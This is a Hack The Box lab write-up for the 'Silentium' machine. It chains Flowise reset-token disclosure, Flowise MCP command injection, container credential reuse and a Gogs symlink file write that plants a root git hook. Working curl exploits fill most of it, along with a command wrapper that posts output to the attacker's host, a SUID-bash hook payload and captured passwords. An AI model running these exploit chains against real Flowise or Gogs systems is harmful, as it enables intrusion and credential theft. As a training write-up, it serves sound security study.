← cd ..
tl;dr

A staging Flowise 3.0.5 instance leaks a live password-reset token straight back in the /api/v1/account/forgot-password response (CVE-2025-58434), giving instant takeover of the ben@silentium.htb admin account. Authenticated, the Custom MCP node's mcpServerConfig (CVE-2025-59528) spawns arbitrary processes, yielding root inside the Flowise container — whose environment block hands over SMTP_PASSWORD, reused verbatim as ben's system password over SSH. Root comes from a second internal app: Gogs 0.13.3 running as root with open registration, where CVE-2025-8110 lets the contents API write through a committed symlink to overwrite the repository's pre-receive hook, executed as root on the next push.

contents
pwned.png
Silentium pwned certificate
silentium.md

Silentium — HTB Writeup#

Machine Summary#

PropertyValue
NameSilentium
IP10.129.245.103
OSLinux (Ubuntu 24.04.4 LTS, kernel 6.8.0-107-generic)
Hostnamesilentium
Domainsilentium.htb (+ staging.silentium.htb, staging-v2-code.dev.silentium.htb)
DifficultyEasy
Key TopicsFlowise reset-token disclosure (CVE-2025-58434), Flowise Custom MCP RCE (CVE-2025-59528), container env credential looting, password reuse, Gogs symlink arbitrary file write (CVE-2025-8110) → root git hook

Overview#

Silentium exposes only 22 and 80. Port 80 redirects to a static “institutional finance” brochure site on silentium.htb; the only real content is a vhost away. staging.silentium.htb proxies an internal Flowise 3.0.5 AI-agent builder with authentication enabled — and Flowise ≤ 3.0.5 returns a valid password-reset tempToken (plus the bcrypt hash) directly in the body of an unauthenticated POST /api/v1/account/forgot-password. That is CVE-2025-58434, and it is a one-request takeover of ben@silentium.htb, the instance admin.

With a session, the Custom MCP node becomes reachable. Flowise >= 2.2.7-patch.1, < 3.0.6 accepts an attacker-controlled mcpServerConfig on /api/v1/node-load-method/customMCP (CVE-2025-59528), and the stdio transport happily spawns whatever command/args it is handed — arbitrary execution as root inside the Flowise container. The container is a plain unprivileged Alpine image with nothing mounted worth stealing, but its environment block is the payload: SMTP_PASSWORD=r04D!!_R4ge is reused verbatim as ben’s system password, giving SSH to the host and user.txt.

Root is a completely separate application. ps on the host shows /opt/gogs/gogs/gogs web running as root, bound to 127.0.0.1:3001 and proxied as staging-v2-code.dev.silentium.htb. It is Gogs 0.13.3 with RUN_USER = root, repositories in /root/gogs-repositories, and open registration. Gogs ≤ 0.13.3 is vulnerable to CVE-2025-8110: the web editor refuses to write to a symlink, but the contents API never checks, so a symlink committed by git push can be used to write anywhere on disk as root. Pointing it at the repository’s own hooks/pre-receive and pushing once executes the payload as root.


Reconnaissance#

Port scanning#

nmap -p- --min-rate 5000 -T4 -Pn 10.129.245.103 -oN nmap/allports.txtnmap -sC -sV -p 22,80 -Pn 10.129.245.103 -oN nmap/services.txt
PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)80/tcp open  http    nginx 1.24.0 (Ubuntu)|_http-title: Did not follow redirect to http://silentium.htb/|_http-server-header: nginx/1.24.0 (Ubuntu)

A tiny external surface, and / 301s to http://silentium.htb/ — so vhost routing is in play.

10.129.245.103   silentium.htb

The brochure site#

silentium.htb is a single static Tailwind page: a loan calculator that is pure client-side arithmetic in /assets/app.js, and a “Leadership” section naming Marcus Thorne, Ben (“Head of Financial Systems”), and Elena Rossi. No forms, no API, no server-side anything. Directory brute-forcing is a dead end — the vhost has a try_files $uri $uri/ /index.html catch-all, so every path returns the same 8753-byte page:

gobuster dir -u http://10.129.245.103 -H "Host: silentium.htb" \  -w raft-medium-directories.txt --exclude-length 8753# assets  (Status: 301)

The only useful name here is Ben — it becomes the username later.

Vhost enumeration#

ffuf -u http://10.129.245.103/ -H "Host: FUZZ.silentium.htb" \  -w subdomains-top1million-20000.txt -mc all -fs 178
staging   [Status: 200, Size: 3142]

→ staging.silentium.htb, and it is not the brochure site:

<title>Flowise - Build AI Agents, Visually</title>

Enumeration#

Flowise 3.0.5#

Flowise leaves a couple of endpoints open pre-auth, which is enough to fingerprint it:

curl -s --resolve staging.silentium.htb:80:10.129.245.103 \  http://staging.silentium.htb/api/v1/version# {"version":"3.0.5"}curl -s ... /api/v1/settings     # {"PLATFORM_TYPE":"open source"}curl -s ... /api/v1/chatflows    # {"error":"Unauthorized Access"}

3.0.5 is the interesting part. It sits inside the affected range of two serious 2025 advisories at once:

CVEAffectedEffect
CVE-2025-58434<= 3.0.5Unauthenticated password-reset token disclosure → account takeover (CVSS 9.8)
CVE-2025-59528>= 2.2.7-patch.1, < 3.0.6mcpServerConfig code injection in the Custom MCP node → RCE (CVSS 10.0)

Authentication is enabled on this instance (POST /api/v1/auth/resolve → {"redirectUrl":"/signin"}), so the RCE is not reachable cold — CVE-2025-59528 has to be unlocked by CVE-2025-58434 first. Verified after the fact:

# no session, straight at the RCE endpointcurl -s ... -X POST .../api/v1/node-load-method/customMCP -d '{...}'# {"error":"Unauthorized Access"}

Exploitation — User Flag#

Step 1: CVE-2025-58434 — reset token handed back in the response#

POST /api/v1/account/forgot-password is unauthenticated. Instead of only mailing a link, Flowise ≤ 3.0.5 serialises the whole user record — including a live tempToken — into the HTTP response. The only prerequisite is knowing an email address, and the site’s Leadership section supplied the name:

curl -s --resolve staging.silentium.htb:80:10.129.245.103 \  -X POST http://staging.silentium.htb/api/v1/account/forgot-password \  -H 'Content-Type: application/json' \  -d '{"user":{"email":"ben@silentium.htb"}}'
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin", "email":"ben@silentium.htb", "credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG", "tempToken":"Y0B9TS2v6HDmOxRyL3LpsjGhPargc7G7beGMsfCmlGfM4YL2AqpcUrxSdh9bcNlO", "tokenExpiry":"2026-08-04T15:03:53.617Z","status":"active", ...}}

Non-existent addresses return {"message":"User Not Found"}, so the endpoint doubles as a user oracle. The token is good for ~15 minutes; feed it straight back:

TOK=$(curl -s ... -d '{"user":{"email":"ben@silentium.htb"}}' \      | python3 -c 'import sys,json;print(json.load(sys.stdin)["user"]["tempToken"])')curl -s ... -X POST http://staging.silentium.htb/api/v1/account/reset-password \  -H 'Content-Type: application/json' \  -d "{\"user\":{\"email\":\"ben@silentium.htb\",\"tempToken\":\"$TOK\",\"password\":\"Pwned123!@#\"}}"
curl -s -c /tmp/flowise.jar ... -X POST http://staging.silentium.htb/api/v1/auth/login \  -H 'Content-Type: application/json' \  -d '{"email":"ben@silentium.htb","password":"Pwned123!@#"}'
{"id":"e26c9d6c-...","email":"ben@silentium.htb","name":"admin", "isOrganizationAdmin":true,"activeWorkspace":"Default Workspace", "assignedWorkspaces":[{"role":"owner", ...}]}

Organisation admin and workspace owner. One gotcha: the session cookies alone still 401 the API — Flowise gates cookie auth behind an internal-request header:

curl -s -b /tmp/flowise.jar -H 'x-request-from: internal' ... /api/v1/chatflows

The workspace itself is bare (chatflows, credentials, variables, tools all []) — there is nothing to loot here, so the account is only useful as a key to the RCE.

Step 2: CVE-2025-59528 — Custom MCP node → command execution#

GET /api/v1/nodes lists 295 nodes, among them customMCP. Its single meaningful input is a free-form mcpServerConfig blob, and POST /api/v1/node-load-method/customMCP with loadMethod: listActions makes Flowise actually stand the MCP server up in order to enumerate its actions. With the stdio transport that means spawning command with args.

Every response is the same unhelpful [{"label":"No Available Actions", ...}] whether or not the process ran, so timing is the oracle:

# baseline-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"{\"command\":\"sleep\",\"args\":[\"12\"]}"}}'
ConfigResponse time
{"command":"bash","args":["-c","sleep 12"]}0.08 s
{"command":"sleep","args":["12"]}12.08 s
{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}60.09 s (handshake timeout)
{"command":"sh","args":["-c","sleep 12"]}12.08 s
{"command":"/bin/bash","args":["-c","sleep 12"]}0.08 s

Execution is real — and bash does not exist, which is the first hint the target is an Alpine container. Everything must use sh.

Egress works, so output can simply be posted back:

curl -s ... -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":  "{\"command\":\"sh\",\"args\":[\"-c\",\"wget -q -O- http://10.10.15.119:8000/hit-$(id -u)-$(whoami)\"]}"}}'
10.129.245.103 - - "GET /hit-0-root HTTP/1.1" 404 -

uid 0. Rather than fight for an interactive shell, tools/rce.sh wraps this into a command-execution primitive that pipes combined output back to a small collector over HTTP:

REMOTE="{ $CMD ; } 2>&1 | curl -s -X POST --data-binary @- http://$LHOST:$LPORT/$TAG"# embedded as {"command":"sh","args":["-c","<REMOTE>"]}
TAG=recon ./tools/rce.sh 'id; hostname; cat /etc/os-release | head -3'
uid=0(root) gid=0(root) groups=0(root),...c78c3cceb7baNAME="Alpine Linux"ID=alpineVERSION_ID=3.22.1

Step 3: Loot the container environment#

Root in the container, but it is an ordinary unprivileged Docker container — default capability set (CapEff: 00000000a00425fb, no CAP_SYS_ADMIN), docker-default AppArmor, seccomp active, no host disks in /dev. No escape there. The value is in /proc/1/environ:

TAG=enum ./tools/rce.sh 'tr "\0" "\n" < /proc/1/environ; mount | grep -v ^proc; ip a'
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rSMTP_HOST=mailhogSMTP_PORT=1025SMTP_USERNAME=testSMTP_PASSWORD=r04D!!_R4geSENDER_EMAIL=ben@silentium.htbJWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDDDATABASE_PATH=/root/.flowise

and the Docker bridge layout:

AddressHost
172.18.0.1the host (22, 80)
172.18.0.2mailhog (1025 SMTP, 8025 UI)
172.18.0.3this Flowise container (3000)

Two candidate passwords. F1l3_d0ck3r is refused everywhere; r04D!!_R4ge — the SMTP password — is ben’s system password:

ssh ben@10.129.245.103          # password: r04D!!_R4ge
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)silentium
cat ~/user.txt

User Flag: 95a70ad01cd23e74d4d4539e89613c80


Privilege Escalation — Root Flag#

Step 1: A second app, running as root#

ben has no sudo rights (Sorry, user ben may not run sudo on silentium), a stock SUID set, and nothing writable outside /var/crash. The interesting output is ps and the loopback listeners:

root  1473  /opt/gogs/gogs/gogs webroot  1895  node /usr/local/bin/flowise start
tcp LISTEN 127.0.0.1:3000     # flowise (docker-proxy)tcp LISTEN 127.0.0.1:3001     # gogstcp LISTEN 127.0.0.1:1025     # mailhog smtptcp LISTEN 127.0.0.1:8025     # mailhog uitcp LISTEN 127.0.0.1:46197    # containerd (red herring)

/etc/nginx/sites-enabled/staging-v2-code proxies port 3001 for a second-level subdomain, which is why the earlier FUZZ.silentium.htb sweep never found it — it is externally reachable, just one label deeper:

curl -s --resolve staging-v2-code.dev.silentium.htb:80:10.129.245.103 \  http://staging-v2-code.dev.silentium.htb/ | grep -o '<title>.*</title>'# <title>Gogs</title>

/opt/gogs/gogs/custom/conf/app.ini is world-readable and states the problem plainly:

RUN_USER   = root[server]HTTP_ADDR  = 127.0.0.1HTTP_PORT  = 3001[database]PATH       = /opt/gogs/data/gogs.db[repository]ROOT_PATH  = /root/gogs-repositories[security]INSTALL_LOCK = trueSECRET_KEY   = sdsrcxSm0iC7wDO[auth]DISABLE_REGISTRATION        = falseENABLE_REGISTRATION_CAPTCHA = true
/opt/gogs/gogs/gogs --version# Gogs version 0.13.3

Gogs runs as root, writes its repositories into /root, and registration is open. 0.13.3 is the last release before the fix, squarely inside CVE-2025-8110 (Gogs <= 0.13.3, patched in 0.13.4): an authenticated user can bypass the path-traversal hardening added for CVE-2024-55947 by committing a symlink and writing through it, because the write never resolves links.

ben’s Gogs password is not recoverable (/opt/gogs/data is mode 750 and unreadable, and the leaked SECRET_KEY is not enough on its own — Gogs’ remember-me cookie is keyed on user.Rands + user.Passwd from that same database). It does not matter: registration is open, so any account will do.

Step 2: Registering past the captcha#

The sign-up form is guarded by a go-macaron/captcha image — trivial for a human in a browser, mildly annoying to script. Since the flow is otherwise fully scriptable, tools/gogs_solve.py reconstructs the renderer from upstream image.go and template-matches it. The useful facts, all derived from calculateSizes/NewImage for a 240×80 canvas with six digits:

border = h/4 = 20  ->  nw = 26.6, nh = 40dotSize  = int(40/18) = 2numWidth = int(26.6) - 2 = 24        pitch = numWidth + dotSize = 26glyph box = 11*2 x 18*2 = 22 x 36    digits + strike line use palette index 1

Three preprocessing steps make it tractable:

  1. Filter to palette index 1. The 20 noise circles are drawn with random palette indices 1–18, so this alone removes most of them; a connected-component size filter clears the rest.
  2. Remove the strike-through curve. It is a thin sinusoid spanning the full width, further warped by distort(). Collecting every column where the ink is a single short run and least-squares fitting y = c + a₁sin(2πx/P₁) + b₁cos(2πx/P₁) + a₂sin(2πx/P₂) + b₂cos(2πx/P₂) over a grid of P₁,P₂ recovers it; masking ±2 px around the fit strips it cleanly.
  3. Grid on the pitch, not the ink span. Dividing the observed ink span into six equal cells drifts by ~7 px by the last digit; stepping a fixed 26 px does not.

Matching is then IoU between a bounding-box-normalised template (10 digits × 29 skews, since drawDigit shears each glyph by up to ±0.7 px/row) and the image, searched over ±12 px. Plain coverage scoring is not enough — a 3 sits happily inside an 8 — but IoU penalises the uncovered ink.

Before / after strike removal, and the matched overlay (blue = template ∩ image):

raw ink 2373 px  ->  1576 px after strike fit (err 0.30, P1=115, P2=180)cell0: 1 (0.689)   cell1: 3 (0.705)   cell2: 3 (0.608)cell3: 5 (0.693)   cell4: 8 (0.753)   cell5: 1 (0.632)
python3 tools/gogs_register.py pentest pentest@silentium.htb 'Pentest123!'# attempt 1: captcha=349982 -> captcha# attempt 2: captcha=417716 -> ok# [+] registered pentest:Pentest123!

Create a repository (the form field is user_id, not uid), and mint an API token from /user/settings/applications — the API rejects basic auth.

Gogs’ repositories live in /root/gogs-repositories/<owner>/<repo>.git, and each bare repo has an executable hooks/pre-receive delegate script. os.WriteFile preserves the mode of an existing file, so overwriting that hook keeps it executable — and it is run by root on every push.

Commit a symlink pointing at it:

git clone "http://pentest:Pentest123%21@127.0.0.1:3001/pentest/x.git" && cd xln -s /root/gogs-repositories/pentest/x.git/hooks/pre-receive linkgit add link && git commit -m "add link" && git push origin mastergit ls-files -s# 120000 7962646594ecee847cd478201eee2112059f027f 0  link

The web editor is patched and refuses:

curl ... -X POST "http://127.0.0.1:3001/pentest/x/_edit/master/link" --data-urlencode "content@payload.sh"# <p>The file 'link' is a symlink that cannot be modified from the web editor.</p>

Renaming to a fresh path in the same request (the CVE-2024-44625 trick) is blocked too — 0.13.3 checks the old path as well. The contents API, however, has no such check at all. That is CVE-2025-8110:

T=$(cat /tmp/gogs_token)curl -s -w '%{http_code}\n' -H "Authorization: token $T" -H 'Content-Type: application/json' \  -X PUT "http://127.0.0.1:3001/api/v1/repos/pentest/x/contents/link" \  -d "{\"content\":\"$(base64 -w0 payload.sh)\",\"message\":\"p\",\"branch\":\"master\"}"# 201

payload.sh lands in /root/gogs-repositories/pentest/x.git/hooks/pre-receive:

#!/bin/shid > /tmp/.pwn_id 2>&1cp /root/root.txt /tmp/.rt 2>/dev/null; chmod 644 /tmp/.rtcp /bin/bash /tmp/.rb  2>/dev/null; chmod 4755 /tmp/.rbexit 0

The hook is only invoked on the next push, so one more write triggers it:

curl -s -H "Authorization: token $T" -H 'Content-Type: application/json' \  -X PUT "http://127.0.0.1:3001/api/v1/repos/pentest/x/contents/README.md" \  -d '{"content":"dHJpZ2dlcgo=","message":"t","branch":"master"}'
ls -la /tmp/.pwn_id /tmp/.rt /tmp/.rb; cat /tmp/.pwn_id
-rw-r--r-- 1 root root      39 /tmp/.pwn_id-rwsr-xr-x 1 root root 1446024 /tmp/.rb-rw-r--r-- 1 root root      33 /tmp/.rtuid=0(root) gid=0(root) groups=0(root)
/tmp/.rb -p -c 'id; cat /root/root.txt'# uid=1000(ben) gid=1000(ben) euid=0(root) groups=1000(ben),100(users)

Root Flag: 6cde09a7ddd2b1d3b033cd1b2431a7bd


Obstacles & Lessons Learned#

  • The brochure site has a catch-all. try_files $uri $uri/ /index.html makes every path return 200 with an identical body; gobuster/ffuf need --exclude-length 8753 or they report the whole wordlist. The site’s only real contribution is the name Ben.
  • Fuzz more than one subdomain level. FUZZ.silentium.htb finds staging but never staging-v2-code.dev.silentium.htb — the root-running Gogs lives two labels deep and is externally reachable. It was found from the host (ps + /etc/nginx/sites-enabled/), but a FUZZ.dev.silentium.htb sweep is the external equivalent.
  • Flowise cookies are not enough. Every authenticated API call also needs x-request-from: internal, otherwise the session is ignored and everything 401s.
  • The Custom MCP node answers identically whether or not it ran. {"label":"No Available Actions"} comes back for success and failure alike; a sleep timing oracle is the only reliable confirmation of execution.
  • No bash in the container. {"command":"bash",...} fails instantly while sh works — the giveaway that the target is Alpine, and the reason every payload uses sh.
  • The env block, not the database, is the loot. Flowise’s SQLite held exactly one user and nothing else. SMTP_PASSWORD — not FLOWISE_PASSWORD — is the password reused for SSH. Worth noting: FLOWISE_PASSWORD=F1l3_d0ck3r does not even match ben’s Flowise bcrypt hash, so it is the legacy basic-auth pair, not the app credential.
  • MailHog is a decoy. It is reachable at 172.18.0.2:8025 and the API is open, but it contained only the two reset emails my own exploitation generated. It is what the reset flow would normally need — but CVE-2025-58434 hands the token over directly, so mail access is never required.
  • auditd + laurel are a decoy too. /var/log/laurel/audit.log is -rw-------+ and the + looks promising, but parsing system.posix_acl_access shows only base entries — read-users is commented out in /etc/laurel/config.toml and ben is granted nothing.
  • The container is not the escape route. Default caps, docker-default AppArmor, seccomp on, no host block devices — and the only bind mount is Flowise’s own /root/.flowise. The pivot is credential reuse, not a breakout.
  • 127.0.0.1:46197 is containerd, not a forgotten service. It answers Go’s bare 404: Page Not Found; grep -c "404: Page Not Found" /usr/bin/containerd returns 1 while the Gogs and dockerd binaries return 0. Do not rabbit-hole on it.
  • Gogs’ web editor is patched; its API is not. _edit rejects symlinks on both the old and the new tree path, so the CVE-2024-44625 rename trick fails on 0.13.3. Only PUT /api/v1/repos/:owner/:repo/contents/:path skips the check — the whole of CVE-2025-8110 is that one missing validation.
  • Pick a hook target that is already executable. The hooks/pre-receive.d/* delegates are skipped unless test -x passes, and os.WriteFile creates new files 0644. Overwriting the existing hooks/pre-receive inherits its executable mode instead.
  • The hook fires on the next push. The write and the push in a single API call happen in that order, so the payload needs one further commit to be triggered.
  • Finding it next time: two internal apps, two version numbers. GET /api/v1/version on Flowise and gogs --version on the host answer the whole box. Any service whose config says RUN_USER = root and DISABLE_REGISTRATION = false is the privilege-escalation path before you have read a line of its code.

Tools Used#

ToolPurpose
nmapExternal port/service scan (22, 80)
ffuf / gobusterVhost discovery (staging), directory brute force (defeated by the catch-all)
curlEntire Flowise chain: version fingerprint, CVE-2025-58434 reset + login, CVE-2025-59528 node-load-method, Gogs registration/API
tools/rce.shCVE-2025-59528 exec primitive — wraps a command in the customMCP stdio config and POSTs output back
tools/collector.pyHTTP collector for command output and tool transfer
ssh (SSH_ASKPASS)Password auth as ben; -L 3001 tunnel to reach loopback-only Gogs
sqlite3Inspecting the exfiltrated Flowise database.sqlite (empty — a dead end)
tools/gogs_solve.py + tools/strike.pygo-macaron captcha solver: palette filter, sinusoid strike-line fit, pitch-aligned segmentation, IoU template match
tools/gogs_register.pyAutomated Gogs sign-up with captcha retry
gitCommitting the symlink that CVE-2025-8110 writes through
Gogs contents APICVE-2025-8110 arbitrary file write → root pre-receive hook

Appendix — Captured Values (this spawn)#

ATTACKER_IP     = 10.10.15.119BOX_IP          = 10.129.245.103VHOSTS          = silentium.htb                  staging.silentium.htb                 -> 127.0.0.1:3000 (Flowise, container 172.18.0.3)                  staging-v2-code.dev.silentium.htb     -> 127.0.0.1:3001 (Gogs, as root)Flowise         = 3.0.5   (CVE-2025-58434, CVE-2025-59528)Gogs            = 0.13.3  (CVE-2025-8110)Flowise admin   = ben@silentium.htb  (id e26c9d6c-678c-4c10-9e36-01813e8fea73, name "admin")  orig bcrypt   = $2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhGFLOWISE_PASSWORD= F1l3_d0ck3r      (legacy basic-auth pair; not the app credential)SMTP_PASSWORD   = r04D!!_R4ge      -> reused as ben's system passwordGOGS SECRET_KEY = sdsrcxSm0iC7wDO  (insufficient on its own — needs the unreadable gogs.db)container       = c78c3cceb7ba (Alpine 3.22.1, root, unprivileged)USER_FLAG       = 95a70ad01cd23e74d4d4539e89613c80ROOT_FLAG       = 6cde09a7ddd2b1d3b033cd1b2431a7bd